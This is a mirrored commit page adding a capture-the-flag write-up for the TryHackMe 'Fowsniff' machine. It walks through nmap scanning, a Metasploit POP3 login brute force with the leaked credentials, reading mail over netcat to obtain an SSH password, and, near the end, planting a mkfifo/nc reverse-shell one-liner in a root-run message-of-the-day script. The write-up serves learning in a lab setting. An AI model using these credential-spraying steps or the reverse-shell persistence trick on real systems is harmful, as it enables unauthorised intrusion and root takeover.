mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2024-09-20 06:11:56 +00:00
Add files via upload
This commit is contained in:
AbdullahRizwan101
GitHub
parent
e591c75827
commit
1c089a3a82
1 changed files with 238 additions and 0 deletions
238
Fowsniff.md
Normal file
238
Fowsniff.md
Normal file
|
|
@ -0,0 +1,238 @@
|
|||
# TryHackMe-Fowsniff
|
||||
|
||||
>Abdullah Rizwan | 09:56 PM, 17th October 2020
|
||||
|
||||
## NMAP
|
||||
|
||||
```
|
||||
Nmap scan report for 10.10.47.52
|
||||
Host is up (0.17s latency).
|
||||
Not shown: 996 closed ports
|
||||
PORT STATE SERVICE VERSION
|
||||
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
|
||||
| ssh-hostkey:
|
||||
| 2048 90:35:66:f4:c6:d2:95:12:1b:e8:cd:de:aa:4e:03:23 (RSA)
|
||||
| 256 53:9d:23:67:34:cf:0a:d5:5a:9a:11:74:bd:fd:de:71 (ECDSA)
|
||||
|_ 256 a2:8f:db:ae:9e:3d:c9:e6:a9:ca:03:b1:d7:1b:66:83 (ED25519)
|
||||
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|
||||
| http-robots.txt: 1 disallowed entry
|
||||
|_/
|
||||
|_http-server-header: Apache/2.4.18 (Ubuntu)
|
||||
|_http-title: Fowsniff Corp - Delivering Solutions
|
||||
110/tcp open pop3 Dovecot pop3d
|
||||
|_pop3-capabilities: CAPA UIDL TOP SASL(PLAIN) PIPELINING AUTH-RESP-CODE RESP-CODES USER
|
||||
143/tcp open imap Dovecot imapd
|
||||
|_imap-capabilities: OK listed more SASL-IR have post-login LOGIN-REFERRALS AUTH=PLAINA0001 LITERAL+ capabilities IDLE ENABLE IMAP4rev1 ID Pre-login
|
||||
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
||||
|
||||
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||||
Nmap done: 1 IP address (1 host up) scanned in 21.12 seconds
|
||||
|
||||
```
|
||||
|
||||
On the webpage there is a breach of company so we may get thier hacked twitter account
|
||||
|
||||
`https://twitter.com/fowsniffcorp?lang=en`
|
||||
|
||||
On the pastebin we can find a list of possible passwords or user name accounts
|
||||
|
||||
`https://pastebin.com/NrAqVeeX`
|
||||
|
||||
|
||||
Users
|
||||
|
||||
```
|
||||
mauer@fowsniff
|
||||
mustikka@fowsniff
|
||||
tegel@fowsniff
|
||||
baksteen@fowsniff
|
||||
seina@fowsniff
|
||||
stone@fowsniff
|
||||
mursten@fowsniff
|
||||
parede@fowsniff
|
||||
sciana@fowsniff
|
||||
```
|
||||
|
||||
Passwords of Md5
|
||||
|
||||
```
|
||||
mailcall
|
||||
bilbo101
|
||||
apples01
|
||||
skyler22
|
||||
scoobydoo2
|
||||
carp4ever
|
||||
orlando12
|
||||
07011972
|
||||
```
|
||||
|
||||
## Metasploit
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/pop3/pop3_login) > run
|
||||
|
||||
[-] 10.10.47.52:110 - 10.10.47.52:110 - Failed: 'seina:mailcall', '-ERR [AUTH] Authentication failed.'
|
||||
[!] 10.10.47.52:110 - No active DB -- Credential data will not be saved!
|
||||
[-] 10.10.47.52:110 - 10.10.47.52:110 - Failed: 'seina:bilbo101', '-ERR [AUTH] Authentication failed.'
|
||||
[-] 10.10.47.52:110 - 10.10.47.52:110 - Failed: 'seina:apples01', '-ERR [AUTH] Authentication failed.'
|
||||
[-] 10.10.47.52:110 - 10.10.47.52:110 - Failed: 'seina:skyler22', ''
|
||||
[+] 10.10.47.52:110 - 10.10.47.52:110 - Success: 'seina:scoobydoo2' '+OK Logged in. '
|
||||
[*] 10.10.47.52:110 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
```
|
||||
`scoobydoo2`
|
||||
|
||||
|
||||
## POP3
|
||||
|
||||
Now to use pop3 which is email protocol through command line
|
||||
|
||||
`nc 10.10.47.52 110`
|
||||
|
||||
This will connect to protocol
|
||||
|
||||
```
|
||||
USER seina
|
||||
PASS scoobydoo2
|
||||
```
|
||||
|
||||
There are two mails
|
||||
```
|
||||
root@kali:~# nc 10.10.47.52 110
|
||||
+OK Welcome to the Fowsniff Corporate Mail Server!
|
||||
USER seina
|
||||
+OK
|
||||
PASS scoobydoo2
|
||||
+OK Logged in.
|
||||
STAT
|
||||
+OK 2 2902
|
||||
LIST
|
||||
+OK 2 messages:
|
||||
1 1622
|
||||
2 1280
|
||||
.
|
||||
RETR
|
||||
-ERR Invalid message number:
|
||||
RETR 1
|
||||
+OK 1622 octets
|
||||
Return-Path: <stone@fowsniff>
|
||||
X-Original-To: seina@fowsniff
|
||||
Delivered-To: seina@fowsniff
|
||||
Received: by fowsniff (Postfix, from userid 1000)
|
||||
id 0FA3916A; Tue, 13 Mar 2018 14:51:07 -0400 (EDT)
|
||||
To: baksteen@fowsniff, mauer@fowsniff, mursten@fowsniff,
|
||||
mustikka@fowsniff, parede@fowsniff, sciana@fowsniff, seina@fowsniff,
|
||||
tegel@fowsniff
|
||||
Subject: URGENT! Security EVENT!
|
||||
Message-Id: <20180313185107.0FA3916A@fowsniff>
|
||||
Date: Tue, 13 Mar 2018 14:51:07 -0400 (EDT)
|
||||
From: stone@fowsniff (stone)
|
||||
|
||||
Dear All,
|
||||
|
||||
A few days ago, a malicious actor was able to gain entry to
|
||||
our internal email systems. The attacker was able to exploit
|
||||
incorrectly filtered escape characters within our SQL database
|
||||
to access our login credentials. Both the SQL and authentication
|
||||
system used legacy methods that had not been updated in some time.
|
||||
|
||||
We have been instructed to perform a complete internal system
|
||||
overhaul. While the main systems are "in the shop," we have
|
||||
moved to this isolated, temporary server that has minimal
|
||||
functionality.
|
||||
|
||||
This server is capable of sending and receiving emails, but only
|
||||
locally. That means you can only send emails to other users, not
|
||||
to the world wide web. You can, however, access this system via
|
||||
the SSH protocol.
|
||||
|
||||
The temporary password for SSH is "S1ck3nBluff+secureshell"
|
||||
|
||||
You MUST change this password as soon as possible, and you will do so under my
|
||||
guidance. I saw the leak the attacker posted online, and I must say that your
|
||||
passwords were not very secure.
|
||||
|
||||
Come see me in my office at your earliest convenience and we'll set it up.
|
||||
|
||||
Thanks,
|
||||
A.J Stone
|
||||
.
|
||||
```
|
||||
|
||||
```
|
||||
OK 1280 octets
|
||||
Return-Path: <baksteen@fowsniff>
|
||||
X-Original-To: seina@fowsniff
|
||||
Delivered-To: seina@fowsniff
|
||||
Received: by fowsniff (Postfix, from userid 1004)
|
||||
id 101CA1AC2; Tue, 13 Mar 2018 14:54:05 -0400 (EDT)
|
||||
To: seina@fowsniff
|
||||
Subject: You missed out!
|
||||
Message-Id: <20180313185405.101CA1AC2@fowsniff>
|
||||
Date: Tue, 13 Mar 2018 14:54:05 -0400 (EDT)
|
||||
From: baksteen@fowsniff
|
||||
|
||||
Devin,
|
||||
|
||||
You should have seen the brass lay into AJ today!
|
||||
We are going to be talking about this one for a looooong time hahaha.
|
||||
Who knew the regional manager had been in the navy? She was swearing like a sailor!
|
||||
|
||||
I don't know what kind of pneumonia or something you brought back with
|
||||
you from your camping trip, but I think I'm coming down with it myself.
|
||||
How long have you been gone - a week?
|
||||
Next time you're going to get sick and miss the managerial blowout of the century,
|
||||
at least keep it to yourself!
|
||||
|
||||
I'm going to head home early and eat some chicken soup.
|
||||
I think I just got an email from Stone, too, but it's probably just some
|
||||
"Let me explain the tone of my meeting with management" face-saving mail.
|
||||
I'll read it when I get back.
|
||||
|
||||
Feel better,
|
||||
|
||||
Skyler
|
||||
|
||||
PS: Make sure you change your email password.
|
||||
AJ had been telling us to do that right before Captain Profanity showed up.
|
||||
|
||||
.
|
||||
|
||||
|
||||
```
|
||||
|
||||
We can ssh into box with username `baksteen` password `S1ck3nBluff+secureshell`
|
||||
|
||||
|
||||
|
||||
## SSH
|
||||
|
||||
After logging with SSH we are in and now let's find some files
|
||||
|
||||
```
|
||||
baksteen@fowsniff:/$ id
|
||||
uid=1004(baksteen) gid=100(users) groups=100(users),1001(baksteen)
|
||||
baksteen@fowsniff:/$ find / -group users 2>/dev/null
|
||||
/opt/cube/cube.sh
|
||||
/run/user/1004
|
||||
/run/user/1004/systemd
|
||||
/run/user/1004/systemd/private
|
||||
/run/user/1004/systemd/notify
|
||||
/home/baksteen/.cache
|
||||
/home/baksteen/.cache/motd.legal-displayed
|
||||
/home/baksteen/Maildir
|
||||
/home/baksteen/Maildir/tmp
|
||||
/home/baksteen/Maildir/dovecot-uidvalidity
|
||||
/home/baksteen/Maildir/dovecot.index.log
|
||||
|
||||
```
|
||||
|
||||
Here we can see cube.sh
|
||||
|
||||
nano cube.sh and paste it in
|
||||
`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.94.60 5555 >/tmp/f`
|
||||
|
||||
start nc listener nc -lvp 5555
|
||||
|
||||
Logout from the machine and log in back since it's a message of the day file it will run as root when you login to display message and your listener will capture it.
|
||||
Loading…
Reference in a new issue